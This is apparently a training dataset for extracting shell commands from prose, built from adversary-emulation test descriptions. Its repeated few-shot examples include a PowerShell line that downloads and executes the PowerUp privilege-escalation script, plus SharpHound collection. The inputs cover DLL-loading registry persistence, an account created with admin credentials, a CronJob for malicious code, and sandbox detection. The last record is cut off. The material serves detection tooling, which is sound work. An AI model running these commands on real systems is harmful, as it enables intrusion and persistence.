    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a normal account using admin credentials, run the following command: echo \"dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\\nobjectClass: person\\ncn: Atomic User\\nsn: User\" > tempadmin.ldif\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\n",
    "output": "{\"command_list\": [\"echo \\\"dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\\\\nobjectClass: person\\\\ncn: Atomic User\\\\nsn: User\\\" > tempadmin.ldif\\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When adding ClxDllPath under the Terminal Server Client subkey in HKLM, specify the path to your custom DLL with this registry command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Terminal Server Client\" /v ClxDllPath /t REG_SZ /d \"#{dll_inf}\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Terminal Server Client\\\" /v ClxDllPath /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a Kubernetes CronJob for scheduling malicious code execution, use the following command: kubectl create -f src/cronjob.yaml -n #{namespace}",
    "output": "{\"command_list\": [\"kubectl create -f src/cronjob.yaml -n #{namespace}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting non-native Apple hardware, execute this command which examines the hw.model output: if [ \"$(sysctl -n hw.model | grep -v 'Mac')\" != \"\" ]; then echo 'Virtualization Environment detected'; fi;",
    "output": "{\"command_list\": [\"if [ \\\"$(sysctl -n hw.model | grep -v 'Mac')\\\" != \\\"\\\" ]; then echo 'Virtualization Environment detected'; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can configure Bitlocker to allow a startup PIN with TPM by executing this command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UseTPMPIN /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FVE\\\" /v UseTPMPIN /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By convincing a user to execute Microsoft Quick Assist, an attacker could establish a connection to their machine using the command: Start-Process \"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\"",
    "output": "{\"command_list\": [\"Start-Process \\\"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To emulate uninstalling applications via WMIC, which is effective only for products installed with an MSI file, use the following command: wmic /node:\"#{node}\" product where \"name like '#{product}%%'\" call uninstall",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{node}\\\" product where \\\"name like '#{product}%%'\\\" call uninstall\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 